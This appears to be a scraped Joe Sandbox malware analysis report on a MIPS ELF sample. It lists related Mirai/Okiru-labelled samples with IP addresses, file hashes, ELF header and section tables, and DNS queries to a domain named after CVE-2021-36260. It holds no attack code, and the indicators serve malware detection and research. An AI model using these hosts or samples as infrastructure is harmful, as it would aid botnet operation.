	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	108.125.68.75
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	173.114.230.49
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	173.146.211.79
	arm7.elf	Get hash	malicious	Mirai	Browse	173.134.171.255
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	173.145.53.211
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	173.133.64.48
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	184.214.40.226
UUNETUS	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	63.17.42.207
	https://xl.guggisberg.ar	Get hash	malicious	Unknown	Browse	146.190.198.121
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	74.110.221.121
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	63.22.250.123
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	74.108.18.240
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	71.97.216.205
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	141.156.74.76
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	151.200.156.134
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.117.220.84
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	70.23.253.168

Process:	/tmp/pjyhwsdgkl.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TglcwOFil:TgGwOgl
MD5:	48B4C3E8EB70CE3ED5EF40FF3999DD33
SHA1:	EB163CD91C64520492A5DD5FAFC4683753F5A916
SHA-256:	F4169934665702A4957BAB94DBF88B2C7255A91E44C56ED57A8311F3577EA496
SHA-512:	5D903F17F404BFC562FB3DCDCB706FD2F0DA2F0F1F6B1FB0DA7C463EDFBEC7F4C50C8253931CC1DD3DD4BD36E714D2479080D489E059601C7947CE23B6EA8F39
Malicious:	false
Reputation:	low
Preview:	/tmp/pjyhwsdgkl.elf.

Process:	/tmp/pjyhwsdgkl.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TglcwOFil:TgGwOgl
MD5:	48B4C3E8EB70CE3ED5EF40FF3999DD33
SHA1:	EB163CD91C64520492A5DD5FAFC4683753F5A916
SHA-256:	F4169934665702A4957BAB94DBF88B2C7255A91E44C56ED57A8311F3577EA496
SHA-512:	5D903F17F404BFC562FB3DCDCB706FD2F0DA2F0F1F6B1FB0DA7C463EDFBEC7F4C50C8253931CC1DD3DD4BD36E714D2479080D489E059601C7947CE23B6EA8F39
Malicious:	false
Reputation:	low
Preview:	/tmp/pjyhwsdgkl.elf.

Process:	/tmp/pjyhwsdgkl.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TglcwOFil:TgGwOgl
MD5:	48B4C3E8EB70CE3ED5EF40FF3999DD33
SHA1:	EB163CD91C64520492A5DD5FAFC4683753F5A916
SHA-256:	F4169934665702A4957BAB94DBF88B2C7255A91E44C56ED57A8311F3577EA496
SHA-512:	5D903F17F404BFC562FB3DCDCB706FD2F0DA2F0F1F6B1FB0DA7C463EDFBEC7F4C50C8253931CC1DD3DD4BD36E714D2479080D489E059601C7947CE23B6EA8F39
Malicious:	false
Reputation:	low
Preview:	/tmp/pjyhwsdgkl.elf.

Process:	/tmp/pjyhwsdgkl.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TglcwOFil:TgGwOgl
MD5:	48B4C3E8EB70CE3ED5EF40FF3999DD33
SHA1:	EB163CD91C64520492A5DD5FAFC4683753F5A916
SHA-256:	F4169934665702A4957BAB94DBF88B2C7255A91E44C56ED57A8311F3577EA496
SHA-512:	5D903F17F404BFC562FB3DCDCB706FD2F0DA2F0F1F6B1FB0DA7C463EDFBEC7F4C50C8253931CC1DD3DD4BD36E714D2479080D489E059601C7947CE23B6EA8F39
Malicious:	false
Reputation:	low
Preview:	/tmp/pjyhwsdgkl.elf.

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.554230661670266
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	pjyhwsdgkl.elf
File size:	111'112 bytes
MD5:	928e05cd2c19dfc6ce9be8983c44448f
SHA1:	26d37b6b5f77f5fb519c36120c1bc19803107358
SHA256:	7b4c6e386779ad643d491f63b87464906c2980bd818882c54340314eaf98231f
SHA512:	8537d7b8340f020cc0c023c70b4032555b7dc50803b71dcd2fdfc4407a8c5c3d9be14eb2f7b0568d0d79b47ba8913f1f198568eba64e4667f4a9a7c445766a34
SSDEEP:	3072:gCsdqr42M267qhMryhHvWLQi+P7Fj6LJCSmhn3hkQ:gCsdq6ryhH+LQYCSmNuQ
TLSH:	7DB3C71E6E228FACF7AD833187B74E60965933D627E1C545D2BCE9101E7035DA01FBA8
File Content Preview:	.ELF.....................@.p...4.........4. ...(.............@...@.....`...`...............`.E.`.E.`......@.........dt.Q............................<...'.(L...!'.......................<...'.((...!........'9... ......................<...'.'....!... ....'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400270
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	110472
Section Header Size:	40
Number of Section Headers:	16
Header String Table Index:	15

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x19000	0x0	0x6	AX	16
.fini	PROGBITS	0x419120	0x19120	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x419180	0x19180	0x13e0	0x0	0x2	A	16
.eh_frame	PROGBITS	0x45a560	0x1a560	0x4	0x0	0x3	WA	4
.ctors	PROGBITS	0x45a564	0x1a564	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45a56c	0x1a56c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x45a574	0x1a574	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x45a578	0x1a578	0x11c	0x0	0x3	WA	4
.data	PROGBITS	0x45a6a0	0x1a6a0	0x248	0x0	0x3	WA	16
.got	PROGBITS	0x45a8f0	0x1a8f0	0x624	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45af14	0x1af14	0x14	0x0	0x10000003	WAp	4
.bss	NOBITS	0x45af30	0x1af14	0x3708	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0xb9a	0x1af14	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1af14	0x73	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1a560	0x1a560	5.5663	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1a560	0x45a560	0x45a560	0x9b4	0x40d8	4.2314	0x6	RW	0x10000	.eh_frame .ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 16:46:31.589725971 CET	1.1.1.1	192.168.2.15	0xc915	No error (0)	stun.l.google.com	74.125.250.129	A (IP address)	IN (0x0001)	false
Nov 27, 2024 16:46:32.986386061 CET	1.1.1.1	192.168.2.15	0x4bb3	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false
Nov 27, 2024 16:46:32.986386061 CET	1.1.1.1	192.168.2.15	0x4bb3	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false
Nov 27, 2024 16:46:32.986386061 CET	1.1.1.1	192.168.2.15	0x4bb3	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false
Nov 27, 2024 16:46:32.986386061 CET	1.1.1.1	192.168.2.15	0x4bb3	No error (0)	cve-2021-36260.ru		TXT (Text strings)	IN (0x0001)	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report pjyhwsdgkl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0LVVFb (deleted)

/tmp/qemu-open.0VIhj9 (deleted)

/tmp/qemu-open.22CHh9 (deleted)

/tmp/qemu-open.3Gwdv9 (deleted)

/tmp/qemu-open.4AzoDd (deleted)

/tmp/qemu-open.4BhfBd (deleted)

/tmp/qemu-open.67hSEa (deleted)

/tmp/qemu-open.6LEuub (deleted)

/tmp/qemu-open.6YO2mc (deleted)

/tmp/qemu-open.9hPEoc (deleted)

/tmp/qemu-open.A3fiac (deleted)

/tmp/qemu-open.A6W6Kb (deleted)

/tmp/qemu-open.AJJDm9 (deleted)

/tmp/qemu-open.APUvT9 (deleted)

/tmp/qemu-open.ASgyU9 (deleted)

/tmp/qemu-open.AeXEOc (deleted)

/tmp/qemu-open.BM03o9 (deleted)

/tmp/qemu-open.BbbZZ9 (deleted)

/tmp/qemu-open.Bvgtlc (deleted)

/tmp/qemu-open.CHW7Jc (deleted)

/tmp/qemu-open.Cd7aTa (deleted)

/tmp/qemu-open.Ci9KVa (deleted)

/tmp/qemu-open.CzZfhd (deleted)

/tmp/qemu-open.D3YjBd (deleted)

/tmp/qemu-open.DQM1Oa (deleted)

/tmp/qemu-open.FTeyhd (deleted)

/tmp/qemu-open.GjSacc (deleted)

/tmp/qemu-open.HbT0h9 (deleted)

/tmp/qemu-open.IDGKxa (deleted)

/tmp/qemu-open.IRSRsd (deleted)

/tmp/qemu-open.IfeE39 (deleted)

/tmp/qemu-open.IksFj9 (deleted)

Linux Analysis Report
pjyhwsdgkl.elf